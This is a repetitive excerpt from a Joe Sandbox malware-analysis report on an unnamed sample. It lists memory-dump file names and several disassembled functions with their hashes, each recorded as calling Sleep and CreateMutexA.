Associated: 00000000.00000002.1590515470.0000000000EB1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590532124.0000000000EC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590545037.0000000000EC8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590559131.0000000000EC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590559131.0000000000ED3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590596165.0000000000EDB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590611071.0000000000EDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590627106.0000000000EE6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590642826.0000000000EEC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590662020.0000000000F03000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590677865.0000000000F12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590691896.0000000000F14000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590705686.0000000000F17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590722969.0000000000F24000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590738364.0000000000F25000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590766399.0000000000F35000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590784709.0000000000F3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590801685.0000000000F3C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590819431.0000000000F46000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590835704.0000000000F47000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590856091.0000000000F4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590938854.0000000000F51000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590960598.0000000000F53000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590983471.0000000000F5B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590999353.0000000000F62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591014681.0000000000F6A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591031241.0000000000F6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591046471.0000000000F6C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591061647.0000000000F74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591084418.0000000000F88000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591102991.0000000000F8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591119879.0000000000F95000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591134296.0000000000F98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591134296.0000000000FB4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591183857.0000000000FE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591200666.0000000000FE3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591218335.0000000000FE6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591235819.0000000000FE8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591251723.0000000000FF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591274930.0000000000FF9000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ce0000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 91fa5af4ac7b9edc90a879da25845b6cd17b5afedd5dc899856d6941b3fa90e9
Instruction ID: 644fb32538a83a542efa63b502c1cdf9ff4832c346a80918a081c6257fe289bf
Opcode Fuzzy Hash: 91fa5af4ac7b9edc90a879da25845b6cd17b5afedd5dc899856d6941b3fa90e9
Instruction Fuzzy Hash: D2314831710284DFEB189B79DCC9BADF772DB81310F248619E015DB3D1D77AA9808766

Function 00CEA1AE Relevance: 3.1, APIs: 2, Instructions: 135
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 00CEA963
CreateMutexA.KERNEL32(00000000,00000000,00D43254), ref: 00CEA981

Memory Dump Source

Source File: 00000000.00000002.1590289957.0000000000CE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CE0000, based on PE: true

Associated: 00000000.00000002.1590270948.0000000000CE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590289957.0000000000D42000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590339927.0000000000D49000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590354277.0000000000D4B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590369193.0000000000D55000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590382042.0000000000D56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590396010.0000000000D57000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590499235.0000000000EAE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590515470.0000000000EB1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590532124.0000000000EC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590545037.0000000000EC8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590559131.0000000000EC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590559131.0000000000ED3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590596165.0000000000EDB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590611071.0000000000EDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590627106.0000000000EE6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590642826.0000000000EEC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590662020.0000000000F03000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590677865.0000000000F12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590691896.0000000000F14000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590705686.0000000000F17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590722969.0000000000F24000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590738364.0000000000F25000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590766399.0000000000F35000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590784709.0000000000F3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590801685.0000000000F3C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590819431.0000000000F46000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590835704.0000000000F47000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590856091.0000000000F4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590938854.0000000000F51000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590960598.0000000000F53000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590983471.0000000000F5B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590999353.0000000000F62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591014681.0000000000F6A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591031241.0000000000F6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591046471.0000000000F6C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591061647.0000000000F74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591084418.0000000000F88000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591102991.0000000000F8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591119879.0000000000F95000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591134296.0000000000F98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591134296.0000000000FB4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591183857.0000000000FE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591200666.0000000000FE3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591218335.0000000000FE6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591235819.0000000000FE8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591251723.0000000000FF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591274930.0000000000FF9000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ce0000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 75f9181333eae2a26f9f88c0bc6332e87e30c783f74d9d15b647b93b17214ab1
Instruction ID: d3dfa26da6d29c4b48fce05268735848d5535d1df87ee20af9ef2fc19bd8c6bc
Opcode Fuzzy Hash: 75f9181333eae2a26f9f88c0bc6332e87e30c783f74d9d15b647b93b17214ab1
Instruction Fuzzy Hash: F4312831700280DFEB089B7DDC89BADB772AB86310F248619E018EB3D1D775A9848762

Function 00CEA418 Relevance: 3.1, APIs: 2, Instructions: 133
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 00CEA963
CreateMutexA.KERNEL32(00000000,00000000,00D43254), ref: 00CEA981

Memory Dump Source

Source File: 00000000.00000002.1590289957.0000000000CE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CE0000, based on PE: true

Associated: 00000000.00000002.1590270948.0000000000CE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590289957.0000000000D42000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590339927.0000000000D49000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590354277.0000000000D4B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590369193.0000000000D55000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590382042.0000000000D56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590396010.0000000000D57000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590499235.0000000000EAE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590515470.0000000000EB1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590532124.0000000000EC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590545037.0000000000EC8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590559131.0000000000EC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590559131.0000000000ED3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590596165.0000000000EDB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590611071.0000000000EDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590627106.0000000000EE6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590642826.0000000000EEC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590662020.0000000000F03000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590677865.0000000000F12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590691896.0000000000F14000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590705686.0000000000F17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590722969.0000000000F24000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590738364.0000000000F25000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590766399.0000000000F35000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590784709.0000000000F3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590801685.0000000000F3C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590819431.0000000000F46000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590835704.0000000000F47000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590856091.0000000000F4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590938854.0000000000F51000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590960598.0000000000F53000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590983471.0000000000F5B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590999353.0000000000F62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591014681.0000000000F6A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591031241.0000000000F6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591046471.0000000000F6C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591061647.0000000000F74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591084418.0000000000F88000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591102991.0000000000F8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591119879.0000000000F95000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591134296.0000000000F98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591134296.0000000000FB4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591183857.0000000000FE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591200666.0000000000FE3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591218335.0000000000FE6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591235819.0000000000FE8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591251723.0000000000FF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591274930.0000000000FF9000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ce0000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 5741ffdf46edf0c7fc41971a7268bf6af50e8bdf7e845724cbcfcfdc0d1a0b28
Instruction ID: ce443d135aadca4a5f0cfcf7e5df67f48a615cddb20cd8a4bf197f65074c494c
Opcode Fuzzy Hash: 5741ffdf46edf0c7fc41971a7268bf6af50e8bdf7e845724cbcfcfdc0d1a0b28
Instruction Fuzzy Hash: 743139317002409FEB18AB7DD8CDBADB662DF81310F244619E014DB3D5DBB5A9808672

Function 00CEA54D Relevance: 3.1, APIs: 2, Instructions: 132
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 00CEA963
CreateMutexA.KERNEL32(00000000,00000000,00D43254), ref: 00CEA981

Memory Dump Source

Source File: 00000000.00000002.1590289957.0000000000CE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CE0000, based on PE: true

Associated: 00000000.00000002.1590270948.0000000000CE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590289957.0000000000D42000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590339927.0000000000D49000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590354277.0000000000D4B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590369193.0000000000D55000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590382042.0000000000D56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590396010.0000000000D57000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590499235.0000000000EAE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590515470.0000000000EB1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590532124.0000000000EC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590545037.0000000000EC8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590559131.0000000000EC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590559131.0000000000ED3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590596165.0000000000EDB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590611071.0000000000EDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590627106.0000000000EE6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590642826.0000000000EEC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590662020.0000000000F03000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590677865.0000000000F12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590691896.0000000000F14000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590705686.0000000000F17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590722969.0000000000F24000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590738364.0000000000F25000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590766399.0000000000F35000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590784709.0000000000F3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590801685.0000000000F3C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590819431.0000000000F46000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590835704.0000000000F47000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590856091.0000000000F4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590938854.0000000000F51000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590960598.0000000000F53000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590983471.0000000000F5B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590999353.0000000000F62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591014681.0000000000F6A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591031241.0000000000F6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591046471.0000000000F6C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591061647.0000000000F74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591084418.0000000000F88000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591102991.0000000000F8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591119879.0000000000F95000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591134296.0000000000F98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591134296.0000000000FB4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591183857.0000000000FE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591200666.0000000000FE3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591218335.0000000000FE6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591235819.0000000000FE8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591251723.0000000000FF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591274930.0000000000FF9000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ce0000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 7051b560ec4d52df33169d7548a67f69e23fb050363cd2f97d166dc5e29be7f5
Instruction ID: 659f29815a763dadd14f1c9cb8fad243f6dd8bf28ae3974b85c50298ced304dd
Opcode Fuzzy Hash: 7051b560ec4d52df33169d7548a67f69e23fb050363cd2f97d166dc5e29be7f5
Instruction Fuzzy Hash: DD314A317012849FEB08EB79DCC9BADB762EBC1314F248619F015DB3D1DB75A9818722

Function 00CEA682 Relevance: 3.1, APIs: 2, Instructions: 131
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 00CEA963
CreateMutexA.KERNEL32(00000000,00000000,00D43254), ref: 00CEA981

Memory Dump Source

Source File: 00000000.00000002.1590289957.0000000000CE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CE0000, based on PE: true

Associated: 00000000.00000002.1590270948.0000000000CE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590289957.0000000000D42000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590339927.0000000000D49000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590354277.0000000000D4B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590369193.0000000000D55000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590382042.0000000000D56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590396010.0000000000D57000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590499235.0000000000EAE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590515470.0000000000EB1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590532124.0000000000EC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590545037.0000000000EC8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590559131.0000000000EC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590559131.0000000000ED3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590596165.0000000000EDB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590611071.0000000000EDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590627106.0000000000EE6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590642826.0000000000EEC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590662020.0000000000F03000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590677865.0000000000F12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590691896.0000000000F14000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590705686.0000000000F17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590722969.0000000000F24000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590738364.0000000000F25000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590766399.0000000000F35000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590784709.0000000000F3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590801685.0000000000F3C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590819431.0000000000F46000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590835704.0000000000F47000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590856091.0000000000F4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590938854.0000000000F51000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590960598.0000000000F53000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590983471.0000000000F5B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590999353.0000000000F62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591014681.0000000000F6A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591031241.0000000000F6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591046471.0000000000F6C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591061647.0000000000F74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591084418.0000000000F88000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591102991.0000000000F8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591119879.0000000000F95000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591134296.0000000000F98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591134296.0000000000FB4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591183857.0000000000FE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591200666.0000000000FE3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591218335.0000000000FE6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591235819.0000000000FE8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591251723.0000000000FF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591274930.0000000000FF9000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ce0000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: f35bc5269942d54cfb20b7807ec2ec9e900bb59a8ce3b5c74e1d59d24cda4d1a
Instruction ID: 50254ebac4484b1b101b5dcf14dd55854012033db367482bcc377d27f3b8c210
Opcode Fuzzy Hash: f35bc5269942d54cfb20b7807ec2ec9e900bb59a8ce3b5c74e1d59d24cda4d1a
Instruction Fuzzy Hash: A83128317002849FEB18EB79DCC9BADB772DB82310F248619F015DB3D2D775A9818766

Function 00CE9ADC Relevance: 3.1, APIs: 2, Instructions: 107
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 00CEA963
CreateMutexA.KERNEL32(00000000,00000000,00D43254), ref: 00CEA981

Memory Dump Source

Source File: 00000000.00000002.1590289957.0000000000CE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CE0000, based on PE: true

Associated: 00000000.00000002.1590270948.0000000000CE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590289957.0000000000D42000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590339927.0000000000D49000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590354277.0000000000D4B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590369193.0000000000D55000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590382042.0000000000D56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590396010.0000000000D57000.00000080.00000001.01000000.00000003.sdmpDownload File
